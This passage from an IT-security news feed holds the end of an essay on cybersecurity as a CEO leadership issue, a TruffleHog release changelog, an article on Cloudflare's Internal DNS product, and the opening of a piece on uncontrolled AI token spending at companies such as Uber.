

<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.96.0]]></title>
<description><![CDATA[What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache...]]></description>
<link>https://tsecurity.de/de/3692297/it-security-tools/v3960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692297/it-security-tools/v3960/</guid>
<pubDate>Fri, 24 Jul 2026 20:37:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[INS-355] Added Hashicorp vault token detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087349241" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4819" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4819/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4819">#4819</a></li>
<li>Tighten JiraToken v1 verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857561874" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5122" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5122/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5122">#5122</a></li>
<li>[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bill-rich/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bill-rich">@bill-rich</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858092823" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5123" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5123/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5123">#5123</a></li>
<li>Fix GitLab project metadata cache and switch to LRU by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890961533" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4727" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4727/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4727">#4727</a></li>
<li>Log analyze errors for Anthropic Analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4844292265" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5120" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5120/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5120">#5120</a></li>
<li>Add metrics for chunks and results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880771609" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5128" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5128/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5128">#5128</a></li>
<li>Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4817025959" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5111" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5111/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5111">#5111</a></li>
<li>[INS-312] Duo API Secret Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994103061" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4771" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4771/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4771">#4771</a></li>
<li>[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nabeelalam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nabeelalam">@nabeelalam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3925861219" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4739" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4739/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4739">#4739</a></li>
<li>[INS-255] Updated datadog detector to set verificationError in case of a verification error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3812485778" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4661" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4661/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4661">#4661</a></li>
<li>Log analyze errors for Postgres analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890144471" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5131" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5131/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5131">#5131</a></li>
<li>Log analyze errors for HuggingFace analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889921966" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5130" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5130/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5130">#5130</a></li>
<li>Engine - Config.SourceManager doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563649430" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5002" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5002/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5002">#5002</a></li>
<li>Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/renovate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/renovate">@renovate</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642514134" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5034" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5034/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5034">#5034</a></li>
<li>Retry git clone on transient network errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894687674" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5132" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5132/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5132">#5132</a></li>
<li>Fix <code>scan_all_installations</code> Rejecting Org Member Personal Repos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930360573" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5142" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5142/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5142">#5142</a></li>
<li>updated detector to include underscore char by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
<li>[chore] Change job_id in metric to source_type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953017010" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5149" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5149/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5149">#5149</a></li>
<li>Posthog regex update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902316600" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5133" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5133/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5133">#5133</a></li>
<li>fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johannestaas-trufflesec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johannestaas-trufflesec">@johannestaas-trufflesec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954699768" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5151" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5151/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5151">#5151</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.9...v3.96.0"><tt>v3.95.9...v3.96.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare Internal DNS puts public and private DNS on one policy engine]]></title>
<description><![CDATA[Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should n...]]></description>
<link>https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</guid>
<pubDate>Fri, 24 Jul 2026 18:18:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises typically operate separate systems for internal and external <a href="https://www.networkworld.com/article/965540/what-is-dns-and-how-does-it-work.html">DNS</a> because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. </p>



<p class="wp-block-paragraph">While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means <a href="https://www.networkworld.com/article/4158134/dns-security-is-often-inadequate-and-network-engineers-should-get-more-involved.html">ongoing manual synchronization work</a> for network teams. </p>



<p class="wp-block-paragraph">Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.</p>



<p class="wp-block-paragraph">Cloudflare’s answer is a product it calls Internal DNS.</p>



<p class="wp-block-paragraph">“Many organizations already use Cloudflare for their public DNS,” <a href="https://www.linkedin.com/in/enriquesomoza/">Enrique Somoza</a>, product, performance and infrastructure at Cloudflare, told<em> Network World</em>. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” </p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.</p>



<p class="wp-block-paragraph">“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>Policy first.</strong> The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”</p>



<p class="wp-block-paragraph"><strong>No public path in.</strong> Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>One hostname, multiple answers.</strong> Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”</p>



<p class="wp-block-paragraph">Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.</p>



<p class="wp-block-paragraph"><strong>View selection.</strong> The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. </p>



<p class="wp-block-paragraph">“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”</p>



<p class="wp-block-paragraph">A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.</p>



<p class="wp-block-paragraph"><strong>Latency and resilience.</strong> Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”</p>



<h2 class="wp-block-heading">How this differs from split-horizon DNS</h2>



<p class="wp-block-paragraph">Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.</p>



<p class="wp-block-paragraph">“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”</p>



<p class="wp-block-paragraph">Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”</p>



<p class="wp-block-paragraph">For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.</p>



<h2 class="wp-block-heading">Early use cases and migration challenges</h2>



<p class="wp-block-paragraph">Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.</p>



<p class="wp-block-paragraph">Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.</p>



<p class="wp-block-paragraph">When it comes to migration, the friction customers report during migration is procedural rather than architectural. </p>



<p class="wp-block-paragraph">“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



